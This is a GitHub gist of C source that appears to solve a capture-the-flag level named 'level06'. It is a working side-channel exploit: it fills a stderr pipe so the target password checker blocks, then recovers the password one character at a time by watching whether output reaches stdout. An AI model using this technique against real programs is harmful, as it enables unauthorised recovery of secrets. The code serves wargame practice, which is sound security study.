Skip to content

Instantly share code, notes, and snippets.

@benmmurphy
Created February 26, 2012 07:52
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save benmmurphy/1914845 to your computer and use it in GitHub Desktop.
Save benmmurphy/1914845 to your computer and use it in GitHub Desktop.
level06
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>
#include <sys/wait.h>
#include <stdlib.h>
#define CAPACITY (65536)
#define PROGRAM "./level06"
#define PASSWORD_FILE "password"
#define ERROR "Ha ha, your password is incorrect!\n"
#define FIRST_LINE "Welcome to the password checker!\n"
int test_password(char* correct_so_far, char letter_to_check) {
int stderr_fds[] = {0, 0};
int stdout_fds[] = {0, 0};
char buf[CAPACITY] = {'A'};
char minibuf[1];
char first_line[strlen(FIRST_LINE)];
for (int i = 0; i < CAPACITY; ++i) {
buf[i] = 'A';
}
pipe(stderr_fds);
pipe(stdout_fds);
int res = write(stderr_fds[1], buf, CAPACITY - 33 - strlen(correct_so_far) - 1);
if (!fork()) {
char password_to_check[1024];
strcpy(password_to_check, correct_so_far);
password_to_check[strlen(correct_so_far)] = letter_to_check;
password_to_check[strlen(correct_so_far) + 1] = '\1';
password_to_check[strlen(correct_so_far) + 2] = '\0';
char* argv[] = {PROGRAM, PASSWORD_FILE, password_to_check, NULL};
dup2(stderr_fds[1], 2);
dup2(stdout_fds[1], 1);
close(0);
close(stdout_fds[0]);
close(stderr_fds[0]);
execv(PROGRAM, argv);
exit(-1);
}
close(stderr_fds[1]);
close(stdout_fds[1]);
fcntl(stdout_fds[0], F_SETFL, O_NONBLOCK);
int read_res;
usleep(1000 * 200);
//sleep(1);
char stdin_buf[strlen(ERROR)];
read_res = read(stdout_fds[0], stdin_buf, strlen(ERROR));
int guess_correct = (read_res == -1);
read_res = read(stderr_fds[0], buf, CAPACITY);
printf("waiting for child\n");
wait(NULL);
close(stderr_fds[0]);
close(stdout_fds[0]);
return guess_correct;
}
int guess_next_char(char* so_far) {
int next_char = 0;
for (int c = 1; c < 255; ++c) {
if (isalnum(c)) {
int guess = test_password(so_far, c);
printf("guess for char: %c %d\n", c, guess);
if (guess) {
printf("**** NEXT CHARACTER IS %c ****\n", c);
next_char = c;
break;
}
}
}
return next_char;
}
int go() {
char guess_so_far[1024];
guess_so_far[0] = '\0';
int current = 0;
while (1) {
int next_char = guess_next_char(guess_so_far);
if (next_char == 0) {
break;
}
guess_so_far[current] = next_char;
guess_so_far[current + 1] = '\0';
++current;
}
printf("guessed password: %s\n", guess_so_far);
}
int main() {
go();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment